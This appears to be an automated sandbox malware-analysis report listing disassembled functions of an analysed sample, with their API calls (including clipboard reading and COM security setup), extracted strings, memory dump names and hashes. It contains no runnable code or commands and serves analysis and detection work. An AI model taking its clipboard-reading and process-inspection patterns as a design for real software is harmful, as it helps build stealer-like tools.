Instruction Fuzzy Hash: EFB146717493414BC318DB2AC8D1A3BBBE6ABE9314F1CD93DE58687392C638DC058796

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00417E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00418856

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction ID: 96cc1be5c7b42f4822ccf6fdabcc1d0a1cf8542e79077bfe6f2257edbdd6f4ef
Opcode Fuzzy Hash: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction Fuzzy Hash: 2B6133B6604700CFC7208F24D8923A3B3F2FF96318F18456EE996477A1E739A945C759

Function 0043DBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0043DC39

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction ID: 1421818bc4f15c0d032df179158ed2797c8d4970c2420d5e39c05150b2e3af5d
Opcode Fuzzy Hash: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction Fuzzy Hash: C33100B15183048BC314DF18E8C162BBBF8FB9A314F15A92DE68687391D3759908CB9A

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 0043DCF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction ID: 42590aa1c4a3029240d7faad05c1566b36b776a36cf424c854185cc8c2ee326e
Opcode Fuzzy Hash: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction Fuzzy Hash: 58717A31A043014BC714AF29E890A3FB7A6EFDD750F1AD43EE4868B365DB349C11878A

Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 0043B420 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B29B,?,00000001,?,?,?,?,?,?,?), ref: 0043B452

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction ID: a89ac6462aaa6a8a5f29c09ee71e481237a955995f4f3f89a98fbf9f2f2a6ed3
Opcode Fuzzy Hash: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction Fuzzy Hash: FBE0E536904210EBD2002B357C06B177678EF9B715F060436F40152115D739E801C5DE

Function 00430879 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004308C3

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction ID: 1146a04256a80fd680d05c5d227ab35205256b262c73fed29a8c8dc337ffb545
Opcode Fuzzy Hash: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction Fuzzy Hash: E00114B5249702CFE310CF64D5D8B4BBBF1AB84304F14892CE8A54B385C7B9A9498FC2

Function 0042E343 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042E38C

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction ID: cdfd11b330a352dee93e16416f8877f043d61a2de36bf40ddff772d5b84e5129
Opcode Fuzzy Hash: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction Fuzzy Hash: C601F9B86097058FE305DF28D498B5ABBF1FB89304F10881CE4958B3A1C779A949CF81

Function 0040CDF0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE03

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction ID: f1973b7854016afe0481596635c710bb103935c4c1c993b3491e04eff0e8badb
Opcode Fuzzy Hash: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction Fuzzy Hash: 01D0A7345545486BD250A75CDD0BF563A5C9703B29F400239B763D61D1D9506920C669

Function 0040CE23 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CE35

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction ID: 9bb2948b1e33ad1240181575e0f5375bfb099cf60bc3df2fdc322b3d55e14239
Opcode Fuzzy Hash: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction Fuzzy Hash: CAD0C9343D83007AF5748B48ED53F1432169702F11FB00629F322FE6D4C9E07121861D

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00439B50

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Non-executed Functions

Function 00419C10 Relevance: 15.3, APIs: 2, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

APIs

Part of subcall function 0043B480: LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

FreeLibrary.KERNEL32(?), ref: 0041A21A
FreeLibrary.KERNEL32(?), ref: 0041A29B

Strings

cba`, xrefs: 0041A13D
cba`, xrefs: 0041AA31
wEtG, xrefs: 00419F94
PQ, xrefs: 00419FAC
cba`, xrefs: 00419C63
I,~M, xrefs: 0041AA47

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 764372645-3803835663
Opcode ID: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction ID: ce701afe96e54189f6fff091c8333c98f5ae15aa60c98f01a083bef101dadeb2
Opcode Fuzzy Hash: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction Fuzzy Hash: C59235746093409FE714CF65D891B6BBBE2EBD5300F28882EE58487391D7799C81CB9B

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

3v#H, xrefs: 004259D7
Z\, xrefs: 004259FF
=j9l, xrefs: 0042599F
<b"d, xrefs: 004259AF
"r,t, xrefs: 004259CF
cba`, xrefs: 00425C50
cba`, xrefs: 00425E6C
^P, xrefs: 00425A07
&f?x, xrefs: 004259B7
z%|, xrefs: 004259BF

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 004296D8 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

;>*2, xrefs: 004299CE
fa, xrefs: 004299F6
cba`, xrefs: 0042974C
[93=, xrefs: 004299E6
='0{, xrefs: 004299DE
);?g, xrefs: 004299EE
9nI9, xrefs: 004299D6

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: );?g$9nI9$;>*2$='0{$[93=$cba`$fa
API String ID: 0-154584671
Opcode ID: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction ID: 21be1e4f2e6752f9380b4aadbcf4cd787e7e0f4b09ea5b297d7e9ef9a1fb0c4b
Opcode Fuzzy Hash: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction Fuzzy Hash: 3FC1077560C3A08FC3118F29D89066BBBE2AF96310F588A6DF4E1573D2C7398D45CB5A

Function 00F42200 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 445COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,7D89282A), ref: 00F42590

Strings

Yw, xrefs: 00F42318

Memory Dump Source

Source File: 00000007.00000002.2945988755.0000000000F31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000007.00000002.2945934011.0000000000F30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2946857839.000000000117C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2946946760.0000000001182000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2947035105.0000000001184000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f30000_1747150d4f.jbxd

Similarity

API ID: CurrentProcess
String ID: Yw
API String ID: 2050909247-3837857917
Opcode ID: 734e293531b217f844835b798b1f3610856fc7c5f1811795fe4e7ab59d1f0dcd
Instruction ID: 52301e794f3ce26726eb54db29338c6f531c6ee78efec08576c910d2e7fdc465
Opcode Fuzzy Hash: 734e293531b217f844835b798b1f3610856fc7c5f1811795fe4e7ab59d1f0dcd
Instruction Fuzzy Hash: DC02697690025A8BCF59CF59E8805EDBBF0FB59320F14817AF868E7244D3389991DFA4

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

#, xrefs: 0042D4AC
k, xrefs: 0042D4B6
AGsW, xrefs: 0042D496
0, xrefs: 0042D430
P, xrefs: 0042D554

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 0042B763 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BA82

Strings

3, xrefs: 0042D6CD
qjjw, xrefs: 0042B9A6

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: FreeLibrary
String ID: 3$qjjw
API String ID: 3664257935-3235754969
Opcode ID: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction ID: e0248e225440bb7285b8803733d60271f7e61eb44642cbaa2f092a8799675a72
Opcode Fuzzy Hash: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction Fuzzy Hash: 29A16C717083919BE7248F24C8917ABBBD2EFD2340F18856ED5C94B3C6DB384405D796

Function 00415ADC Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F
^Q, xrefs: 00415C83
WL, xrefs: 00415C75

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: 1/3T$WL$^Q
API String ID: 0-4254228366
Opcode ID: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction ID: 36620dcd79f832a97b090e2ed89ea61b800e286945c25bf48684ec17d430fe28
Opcode Fuzzy Hash: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction Fuzzy Hash: A9D1CEB4100B01CFD7258F25C8A1BA3BBB1FF86314F19858DC8964F7A2D779A855CB94

Function 00420717 Relevance: 3.4, Strings: 2, Instructions: 854COMMON

Download Yara Rule

Strings

B:@<, xrefs: 00420D02
F>?0, xrefs: 00420D09

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
